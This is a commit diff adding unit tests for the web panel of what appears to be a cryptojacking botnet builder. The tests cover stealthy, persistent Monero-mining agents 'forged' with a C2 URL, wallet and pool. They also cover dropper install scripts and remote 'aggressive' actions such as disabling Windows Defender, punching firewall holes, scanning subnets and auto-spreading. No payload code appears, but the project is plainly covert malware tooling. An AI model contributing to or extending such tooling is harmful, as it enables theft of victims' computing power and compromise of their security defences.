feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
This commit is contained in:
90
server/web/src/help/buildManager.test.ts
Normal file
90
server/web/src/help/buildManager.test.ts
Normal file
@@ -0,0 +1,90 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { blueprintDiff, buildRequestFromRecord } from './buildManager';
|
||||
|
||||
describe('blueprintDiff', () => {
|
||||
it('returns empty diff for identical objects', () => {
|
||||
const base = { a: 1, b: 'two', c: true };
|
||||
expect(blueprintDiff(base, { ...base })).toEqual([]);
|
||||
});
|
||||
|
||||
it('detects added, removed, and changed keys', () => {
|
||||
const base = { keep: 1, gone: 'old', tweak: 'a' };
|
||||
const current = { keep: 1, newKey: true, tweak: 'b' };
|
||||
const diff = blueprintDiff(base, current);
|
||||
expect(diff).toEqual([
|
||||
{ key: 'gone', kind: 'removed', from: 'old' },
|
||||
{ key: 'newKey', kind: 'added', to: true },
|
||||
{ key: 'tweak', kind: 'changed', from: 'a', to: 'b' },
|
||||
]);
|
||||
});
|
||||
|
||||
it('sorts keys alphabetically', () => {
|
||||
const diff = blueprintDiff({ z: 1 }, { a: 2, m: 3, z: 1 });
|
||||
expect(diff.map((d) => d.key)).toEqual(['a', 'm']);
|
||||
});
|
||||
|
||||
it('compares nested values via JSON serialization', () => {
|
||||
const diff = blueprintDiff(
|
||||
{ nested: { x: 1, y: 2 } },
|
||||
{ nested: { x: 1, y: 3 } }
|
||||
);
|
||||
expect(diff).toEqual([
|
||||
{ key: 'nested', kind: 'changed', from: { x: 1, y: 2 }, to: { x: 1, y: 3 } },
|
||||
]);
|
||||
});
|
||||
|
||||
it('treats array order as significant', () => {
|
||||
const diff = blueprintDiff({ tags: ['a', 'b'] }, { tags: ['b', 'a'] });
|
||||
expect(diff).toHaveLength(1);
|
||||
expect(diff[0].kind).toBe('changed');
|
||||
});
|
||||
|
||||
it('handles empty objects', () => {
|
||||
expect(blueprintDiff({}, {})).toEqual([]);
|
||||
expect(blueprintDiff({}, { only: 1 })).toEqual([{ key: 'only', kind: 'added', to: 1 }]);
|
||||
expect(blueprintDiff({ only: 1 }, {})).toEqual([{ key: 'only', kind: 'removed', from: 1 }]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildRequestFromRecord', () => {
|
||||
const record = {
|
||||
worker_name: 'worker-a',
|
||||
server_url: 'https://c2.example.com',
|
||||
wallet: '4' + 'B'.repeat(94),
|
||||
threads: 8,
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 443,
|
||||
pool_tls: true,
|
||||
pool_pass: 'secret',
|
||||
};
|
||||
|
||||
it('spreads defaults then overrides with record fields', () => {
|
||||
const defaults = { threads: 4, stealth_mode: true, extra_flag: false };
|
||||
const req = buildRequestFromRecord(record, defaults);
|
||||
expect(req).toMatchObject({
|
||||
...defaults,
|
||||
worker_name: record.worker_name,
|
||||
server_url: record.server_url,
|
||||
wallet: record.wallet,
|
||||
threads: record.threads,
|
||||
pool_host: record.pool_host,
|
||||
pool_port: record.pool_port,
|
||||
pool_tls: record.pool_tls,
|
||||
pool_pass: record.pool_pass,
|
||||
});
|
||||
expect(req.threads).toBe(8);
|
||||
expect(req.stealth_mode).toBe(true);
|
||||
});
|
||||
|
||||
it('record fields win over colliding default keys', () => {
|
||||
const req = buildRequestFromRecord(record, { worker_name: 'ignored', threads: 1 });
|
||||
expect(req.worker_name).toBe('worker-a');
|
||||
expect(req.threads).toBe(8);
|
||||
});
|
||||
|
||||
it('preserves extra default keys not present on record', () => {
|
||||
const req = buildRequestFromRecord(record, { fusion_enabled: true, ai_model: 'llama3.2' });
|
||||
expect(req.fusion_enabled).toBe(true);
|
||||
expect(req.ai_model).toBe('llama3.2');
|
||||
});
|
||||
});
|
||||
200
server/web/src/help/cheatSheetContent.test.ts
Normal file
200
server/web/src/help/cheatSheetContent.test.ts
Normal file
@@ -0,0 +1,200 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
AI_GUIDE,
|
||||
CHEAT_SECTIONS,
|
||||
FORGE_VS_CALIBRATE,
|
||||
FUSION_GUIDE,
|
||||
NETWORK_GUIDE,
|
||||
PIPELINE_STEPS,
|
||||
ROADMAP_FEATURES,
|
||||
TROUBLESHOOTING,
|
||||
} from './cheatSheetContent';
|
||||
|
||||
function assertSteps(steps: { id: string; title: string; subtitle: string; icon: string; body: string }[]) {
|
||||
const ids = steps.map((s) => s.id);
|
||||
expect(new Set(ids).size).toBe(ids.length);
|
||||
for (const step of steps) {
|
||||
expect(step.title.trim().length).toBeGreaterThan(0);
|
||||
expect(step.subtitle.trim().length).toBeGreaterThan(0);
|
||||
expect(step.icon.trim().length).toBeGreaterThan(0);
|
||||
expect(step.body.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
}
|
||||
|
||||
describe('PIPELINE_STEPS', () => {
|
||||
it('defines six pipeline stages in workflow order', () => {
|
||||
expect(PIPELINE_STEPS).toHaveLength(6);
|
||||
expect(PIPELINE_STEPS.map((s) => s.id)).toEqual([
|
||||
'calibrate',
|
||||
'forge',
|
||||
'buildmgr',
|
||||
'drop',
|
||||
'connect',
|
||||
'mine',
|
||||
]);
|
||||
expect(PIPELINE_STEPS.map((s) => s.title)).toEqual([
|
||||
'Calibrate',
|
||||
'Forge',
|
||||
'Build Manager',
|
||||
'Drop',
|
||||
'Connect',
|
||||
'Mine',
|
||||
]);
|
||||
});
|
||||
|
||||
it('each step has required content fields', () => {
|
||||
assertSteps(PIPELINE_STEPS);
|
||||
});
|
||||
|
||||
it('routed steps link to primary app pages', () => {
|
||||
const routed = PIPELINE_STEPS.filter((s) => s.route);
|
||||
expect(routed.map((s) => s.route)).toEqual([
|
||||
'/settings',
|
||||
'/forge',
|
||||
'/builds',
|
||||
'/agents',
|
||||
'/dashboard',
|
||||
]);
|
||||
for (const step of routed) {
|
||||
expect(step.routeLabel?.trim().length).toBeGreaterThan(0);
|
||||
}
|
||||
});
|
||||
|
||||
it('drop step includes install one-liner example', () => {
|
||||
const drop = PIPELINE_STEPS.find((s) => s.id === 'drop')!;
|
||||
expect(drop.code).toContain('install.ps1');
|
||||
expect(drop.tips?.some((t) => t.includes('install.sh'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('FORGE_VS_CALIBRATE', () => {
|
||||
it('has forge and calibrate sections with titles and item lists', () => {
|
||||
expect(FORGE_VS_CALIBRATE.forge.title).toMatch(/Forge/i);
|
||||
expect(FORGE_VS_CALIBRATE.calibrate.title).toMatch(/Calibrate/i);
|
||||
expect(FORGE_VS_CALIBRATE.forge.items.length).toBeGreaterThan(10);
|
||||
expect(FORGE_VS_CALIBRATE.calibrate.items.length).toBeGreaterThan(5);
|
||||
});
|
||||
|
||||
it('forge items cover baked-in agent settings', () => {
|
||||
const joined = FORGE_VS_CALIBRATE.forge.items.join(' ');
|
||||
expect(joined).toMatch(/C2|server URL/i);
|
||||
expect(joined).toMatch(/wallet/i);
|
||||
expect(joined).toMatch(/Fusion/i);
|
||||
});
|
||||
|
||||
it('calibrate items cover server-only settings', () => {
|
||||
const joined = FORGE_VS_CALIBRATE.calibrate.items.join(' ');
|
||||
expect(joined).toMatch(/Listen port/i);
|
||||
expect(joined).toMatch(/retention/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe('NETWORK_GUIDE', () => {
|
||||
it('has five network topology steps with unique ids', () => {
|
||||
expect(NETWORK_GUIDE).toHaveLength(5);
|
||||
expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4', 'n5']);
|
||||
assertSteps(NETWORK_GUIDE);
|
||||
});
|
||||
});
|
||||
|
||||
describe('FUSION_GUIDE', () => {
|
||||
it('has four fusion workflow steps', () => {
|
||||
expect(FUSION_GUIDE).toHaveLength(4);
|
||||
expect(FUSION_GUIDE.map((s) => s.id)).toEqual(['f1', 'f2', 'f3', 'f4']);
|
||||
assertSteps(FUSION_GUIDE);
|
||||
});
|
||||
});
|
||||
|
||||
describe('AI_GUIDE', () => {
|
||||
it('has three AI autonomy steps', () => {
|
||||
expect(AI_GUIDE).toHaveLength(3);
|
||||
expect(AI_GUIDE.map((s) => s.id)).toEqual(['a1', 'a2', 'a3']);
|
||||
assertSteps(AI_GUIDE);
|
||||
});
|
||||
|
||||
it('mentions Ollama and decide loop', () => {
|
||||
const bodies = AI_GUIDE.map((s) => s.body).join(' ');
|
||||
expect(bodies).toMatch(/Ollama/i);
|
||||
expect(bodies).toMatch(/decide/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe('TROUBLESHOOTING', () => {
|
||||
it('lists common problems with non-empty fixes', () => {
|
||||
expect(TROUBLESHOOTING.length).toBeGreaterThanOrEqual(10);
|
||||
for (const entry of TROUBLESHOOTING) {
|
||||
expect(entry.problem.trim().length).toBeGreaterThan(10);
|
||||
expect(entry.fix.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
});
|
||||
|
||||
it('covers forge, pool, and dropper failure modes', () => {
|
||||
const problems = TROUBLESHOOTING.map((t) => t.problem).join(' ');
|
||||
expect(problems).toMatch(/Forge/i);
|
||||
expect(problems).toMatch(/hashrate|shares/i);
|
||||
expect(problems).toMatch(/dropper|PS1/i);
|
||||
});
|
||||
|
||||
it('shares-rejected fix matches wallet validator range', () => {
|
||||
const entry = TROUBLESHOOTING.find((t) => t.problem.includes('Shares all rejected'))!;
|
||||
expect(entry.fix).toMatch(/90.*106/);
|
||||
expect(entry.fix).toMatch(/4 or 8/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ROADMAP_FEATURES', () => {
|
||||
it('entries have priority, title, and description', () => {
|
||||
expect(ROADMAP_FEATURES.length).toBeGreaterThan(10);
|
||||
for (const feat of ROADMAP_FEATURES) {
|
||||
expect(['high', 'medium', 'low']).toContain(feat.priority);
|
||||
expect(feat.title.trim().length).toBeGreaterThan(3);
|
||||
expect(feat.desc.trim().length).toBeGreaterThan(10);
|
||||
}
|
||||
});
|
||||
|
||||
it('includes shipped core features', () => {
|
||||
const titles = ROADMAP_FEATURES.map((f) => f.title);
|
||||
expect(titles).toContain('Build Manager full page');
|
||||
expect(titles).toContain('AI Autonomy (Ollama)');
|
||||
expect(titles).toContain('Dropper endpoints');
|
||||
});
|
||||
});
|
||||
|
||||
describe('CHEAT_SECTIONS', () => {
|
||||
const expectedSections = [
|
||||
{ id: 'pipeline', title: 'End-to-end pipeline' },
|
||||
{ id: 'network', title: 'Network topology — Cloudflare tunnel setup' },
|
||||
{ id: 'fusion', title: 'Fusion workflow' },
|
||||
{ id: 'ai', title: 'AI Autonomy workflow' },
|
||||
{ id: 'troubleshoot', title: 'Troubleshooting' },
|
||||
];
|
||||
|
||||
it('registers five guide sections with stable ids and titles', () => {
|
||||
expect(CHEAT_SECTIONS).toHaveLength(5);
|
||||
expect(CHEAT_SECTIONS.map((s) => ({ id: s.id, title: s.title }))).toEqual(expectedSections);
|
||||
});
|
||||
|
||||
it('each section has a non-empty description', () => {
|
||||
for (const section of CHEAT_SECTIONS) {
|
||||
expect(section.description.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
});
|
||||
|
||||
it('step sections reference the exported step arrays', () => {
|
||||
const byId = Object.fromEntries(CHEAT_SECTIONS.map((s) => [s.id, s]));
|
||||
expect(byId.pipeline.steps).toBe(PIPELINE_STEPS);
|
||||
expect(byId.network.steps).toBe(NETWORK_GUIDE);
|
||||
expect(byId.fusion.steps).toBe(FUSION_GUIDE);
|
||||
expect(byId.ai.steps).toBe(AI_GUIDE);
|
||||
});
|
||||
|
||||
it('troubleshoot section maps cards from TROUBLESHOOTING', () => {
|
||||
const troubleshoot = CHEAT_SECTIONS.find((s) => s.id === 'troubleshoot')!;
|
||||
expect(troubleshoot.cards).toHaveLength(TROUBLESHOOTING.length);
|
||||
expect(troubleshoot.cards![0]).toEqual({
|
||||
title: TROUBLESHOOTING[0].problem,
|
||||
body: TROUBLESHOOTING[0].fix,
|
||||
accent: 'amber',
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -361,7 +361,7 @@ export const TROUBLESHOOTING = [
|
||||
},
|
||||
{
|
||||
problem: 'Shares all rejected',
|
||||
fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 95 chars starting with 4. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
|
||||
fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 90–106 chars starting with 4 or 8. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
|
||||
},
|
||||
{
|
||||
problem: 'Preflight ✕ blocking forge',
|
||||
|
||||
74
server/web/src/help/forgeDefaults.test.ts
Normal file
74
server/web/src/help/forgeDefaults.test.ts
Normal file
@@ -0,0 +1,74 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
it('sets safe production defaults for a new forge form', () => {
|
||||
expect(FORGE_BUILD_DEFAULTS.threads).toBe(4);
|
||||
expect(FORGE_BUILD_DEFAULTS.thread_mode).toBe('percent');
|
||||
expect(FORGE_BUILD_DEFAULTS.stealth_mode).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.persistence).toBe(true);
|
||||
expect(FORGE_BUILD_DEFAULTS.fusion_enabled).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.ai_enabled).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
|
||||
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
|
||||
});
|
||||
|
||||
it('omits per-build identity fields (filled by server merge)', () => {
|
||||
const keys = Object.keys(FORGE_BUILD_DEFAULTS);
|
||||
expect(keys).not.toContain('worker_name');
|
||||
expect(keys).not.toContain('server_url');
|
||||
expect(keys).not.toContain('wallet');
|
||||
expect(keys).not.toContain('pool_host');
|
||||
expect(keys).not.toContain('pool_port');
|
||||
expect(keys).not.toContain('pool_tls');
|
||||
expect(keys).not.toContain('pool_pass');
|
||||
});
|
||||
});
|
||||
|
||||
describe('forgeDefaultsFromServer', () => {
|
||||
it('merges server config pool/wallet with build defaults', () => {
|
||||
const config = mockServerConfig();
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.wallet).toBe(config.wallet.address);
|
||||
expect(result.pool_host).toBe(config.pool.host);
|
||||
expect(result.pool_port).toBe(config.pool.port);
|
||||
expect(result.pool_tls).toBe(config.pool.use_tls);
|
||||
expect(result.pool_pass).toBe('x');
|
||||
expect(result.worker_name).toBe('');
|
||||
expect(result.stealth_mode).toBe(FORGE_BUILD_DEFAULTS.stealth_mode);
|
||||
});
|
||||
|
||||
it('prefers trimmed public_url over suggested_url', () => {
|
||||
const config = mockServerConfig({
|
||||
server: { public_url: ' https://tunnel.example.com ' },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.server_url).toBe('https://tunnel.example.com');
|
||||
});
|
||||
|
||||
it('falls back to suggested_url when public_url is blank', () => {
|
||||
const config = mockServerConfig({
|
||||
server: { public_url: ' ' },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.server_url).toBe(mockServerInfo.suggested_url);
|
||||
});
|
||||
|
||||
it('reflects obfuscate and sign defaults from server config', () => {
|
||||
const config = mockServerConfig({
|
||||
server: { obfuscate_default: true, sign_enabled: true },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.obfuscate).toBe(true);
|
||||
expect(result.sign_build).toBe(true);
|
||||
});
|
||||
|
||||
it('uses custom pool password when configured', () => {
|
||||
const config = mockServerConfig({
|
||||
pool: { password: 'worker-pass' },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.pool_pass).toBe('worker-pass');
|
||||
});
|
||||
});
|
||||
@@ -1,5 +1,9 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
|
||||
import {
|
||||
AGGRESSIVE_REMOTE_ACTIONS,
|
||||
aggressiveActionHint,
|
||||
canRunAggressiveAction,
|
||||
} from './aggressiveActions';
|
||||
|
||||
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
||||
const UI_REMOTE_ACTIONS = [
|
||||
@@ -71,3 +75,69 @@ describe('remote action wiring', () => {
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
|
||||
it('lists every wired aggressive command once', () => {
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
|
||||
});
|
||||
});
|
||||
|
||||
const fullCaps = {
|
||||
hole_punch: true,
|
||||
remote_aggressive: true,
|
||||
mesh_p2p: true,
|
||||
auto_spread: true,
|
||||
process_hollowing: false,
|
||||
ai_enabled: false,
|
||||
};
|
||||
|
||||
describe('canRunAggressiveAction edge cases', () => {
|
||||
it('allows all actions when caps are undefined (legacy agents)', () => {
|
||||
for (const action of AGGRESSIVE_REMOTE_ACTIONS) {
|
||||
if (action === 'defender_off') continue;
|
||||
expect(canRunAggressiveAction(action, undefined, 'windows')).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('spread_now requires auto_spread or remote_aggressive', () => {
|
||||
const base = { ...fullCaps, auto_spread: false, remote_aggressive: false };
|
||||
expect(canRunAggressiveAction('spread_now', base)).toBe(false);
|
||||
expect(canRunAggressiveAction('spread_now', { ...base, auto_spread: true })).toBe(true);
|
||||
expect(canRunAggressiveAction('spread_now', { ...base, remote_aggressive: true })).toBe(true);
|
||||
});
|
||||
|
||||
it('mesh_status requires mesh_p2p capability', () => {
|
||||
expect(canRunAggressiveAction('mesh_status', { ...fullCaps, mesh_p2p: false })).toBe(false);
|
||||
expect(canRunAggressiveAction('mesh_status', fullCaps)).toBe(true);
|
||||
});
|
||||
|
||||
it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
|
||||
const noAgg = { ...fullCaps, remote_aggressive: false };
|
||||
for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
|
||||
expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
|
||||
expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('aggressiveActionHint', () => {
|
||||
it('returns undefined when action is allowed', () => {
|
||||
expect(aggressiveActionHint('hole_punch', fullCaps)).toBeUndefined();
|
||||
expect(aggressiveActionHint('spread_now', fullCaps)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('returns macOS-specific hint for defender_off', () => {
|
||||
expect(aggressiveActionHint('defender_off', fullCaps, 'darwin')).toBe(
|
||||
'Defender disable not supported on macOS'
|
||||
);
|
||||
});
|
||||
|
||||
it('suggests re-forge hints when capability missing', () => {
|
||||
const noCaps = { ...fullCaps, hole_punch: false, auto_spread: false, remote_aggressive: false, mesh_p2p: false };
|
||||
expect(aggressiveActionHint('hole_punch', noCaps)).toContain('NAT Hole Punch');
|
||||
expect(aggressiveActionHint('spread_now', noCaps)).toContain('Auto-Spread');
|
||||
expect(aggressiveActionHint('mesh_status', noCaps)).toContain('Mesh P2P');
|
||||
expect(aggressiveActionHint('start_tunnel', noCaps)).toContain('Remote Aggressive Ops');
|
||||
});
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user